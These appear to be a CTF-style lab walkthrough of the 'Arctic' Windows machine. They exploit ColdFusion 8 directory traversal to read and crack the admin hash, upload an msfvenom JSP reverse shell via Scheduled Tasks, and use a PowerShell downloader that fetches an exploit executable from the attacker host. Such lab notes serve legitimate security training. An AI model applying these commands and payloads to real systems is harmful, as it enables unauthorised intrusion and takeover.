Win: Arctic

not a very good machine
u need to wait 30 seconds before every request which makes it a pain in trial and error

nmap -sC -sV -oA nmapscan -v -p- 10.10.10.11

password spraying on rpc service
https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/

http://10.10.10.11:8500/

http://10.10.10.11:8500/CFIDE/administrator/ --> app called cold fusion

ColdFusion 8 is vulnerable to directory traversal.
the administrator hash is locally in a file called password.properties

http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en

got hash --> 2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03

crackpassword with https://crackstation.net/

sha1
happyday

inside of the login page there is an area that allows us to upload files via Scheduled Tasks under the Debugging & Logging Category as shown below the image.

The scheduled task setup gives you the ability to download a file from a **webserver** and save the output locally. Under Mappings, we can verify the CFIDE path, so we know where we can save a shell.

At this point we need to generate a shell. We could upload a **cfexec.cfm** shell (located in **/usr/share/webshells/cfm** on Kali) to get command execution or we can get a full shell by uploading a JSP shell since ColdFusion will serve and run JSP files.

To generate a JSP shell we will use **msfvenom**.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell_exp1o1t9r.jsp

python -m SimpleHTTPServer 80

Inside the ColdFusion admin console we configure three parameters for the scheduled task.

- Set the URL to our **webserver** hosting the JSP shell
- Check the box for Save output to a file

- Set File to C:\ColdFusion8\wwwroot\CFIDE\shell_exp1o1t9r.jsp

Fire up a netcat listener and we can now browse to our shell at http://10.10.14.30:8500/CFIDE/shell.jsp.

C:\>systeminfo

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

C:\ColdFusion8>echo $webclient = New-Object System.Net.WebClient >>wget.ps1

C:\ColdFusion8>echo $url = "http://10.10.14.10/chimichurri.exe" >>wget.ps1

C:\ColdFusion8>echo $file = "exploit.exe" >>wget.ps1

C:\ColdFusion8>echo $webclient.DownloadFile($url,$file) >>wget.ps1

C:\ColdFusion8>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

§±±±§

IPPSEC